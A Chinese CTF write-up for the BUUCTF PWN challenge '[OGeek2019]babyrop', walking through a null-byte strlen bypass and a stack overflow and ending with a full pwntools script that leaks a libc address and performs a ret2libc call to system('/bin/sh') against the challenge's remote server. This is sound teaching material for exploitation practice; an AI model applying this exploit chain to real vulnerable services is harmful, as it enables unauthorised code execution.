0
点赞
收藏
分享

微信扫一扫

BUUCTF|PWN-[OGeek2019]babyrop1-WP

三维控件研究 2022-01-12 阅读 80
安全

1.检查保护机制

(1)该文件是32位文件

(2)开启堆栈不可执行

2.用32位IDA打开该文件

(1)shift+f12查看关键字符串,没有看见"/bin/sh"等关键词,但是看到个正确的字眼

 

(2)双击关键字符串,ctrl+x进入main函数

 (3)我们发现buf存放了四个随机数,然后把四个随机数传入one()函数里面,再把返回值赋值给v2,再传入two()函数。进入one()函数查看

(4)strlen()函数遇到'\0'停止运行('\0'=='\x00'),就会执行下面的exit(0)。我们想要执行成功就要绕过exit(0),可以利用'\0'来绕过。要查看buf首地址到buf[7]的距离:0x7 (0x2c-0x25)

(5)我们就可以写第一个函数的payload了,把返回值buf[7]的值修改到最大0xff(255)

payload = b'\x00' + '\xff'*7

(6)查看two函数

 (7)因为a1的值是0xff(255),所以造成溢出,利用这个溢出获取权限。buf:0xe7

 3.EXP

思路:

(1)控制返回值buf[7]

(2)泄露libc

(3)执行payload

#encoding = utf-8
from pwn import*
from LibcSearcher import*

context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF("pwn1")
lib = ELF("libc-2.23.so")

def main():
	if content == 1:
		p = process('pwn1')
	else:
		p = remote('node4.buuoj.cn',29759)
	
	main_addr = 0x8048825
	got_addr  = elf.got['write']
	plt_addr  = elf.plt['write']
	
	payload1   = b'\x00' + b'\xff'*(0x2c-0x25)
	p.sendline(payload1)
	p.recvuntil('Correct\n')
	
	payload   = b'a' * (0xe7+0x4) + p32(plt_addr) + p32(main_addr) + p32(1) + p32(got_addr) + p32(4)
	p.sendline(payload)
	write_addr = u32(p.recv(4))
	print(hex(write_addr))
	
	#lib
	lib_write  = lib.symbols['write']
	lib_system = lib.symbols['system']
	lib_binsh  = next(lib.search(b"/bin/sh"))
	
	base_addr   = write_addr - lib_write
	system_addr = base_addr + lib_system
	binsh_addr  = base_addr + lib_binsh
	
	payload1   = b'\x00' + b'\xff'*(0x2c-0x25)
	p.sendline(payload1)
	p.recvuntil('Correct\n')
	
	payload = b'a'*(0xe7+0x4) + p32(system_addr) + b'AAAA' + p32(binsh_addr)
	p.sendline(payload)
	
	
	p.interactive()
main() 	

举报

相关推荐

BUUCTF pwn wp 126 - 130

BUUCTF pwn wp 141 - 145

BUUCTF pwn wp 136 - 140

BUUCTF pwn wp 131 - 135

BUUCTF pwn wp 146 - 150

BUUCTF pwn wp 81 - 85

[BUUCTF-pwn] [HarekazeCTF2019]Ramen

0 条评论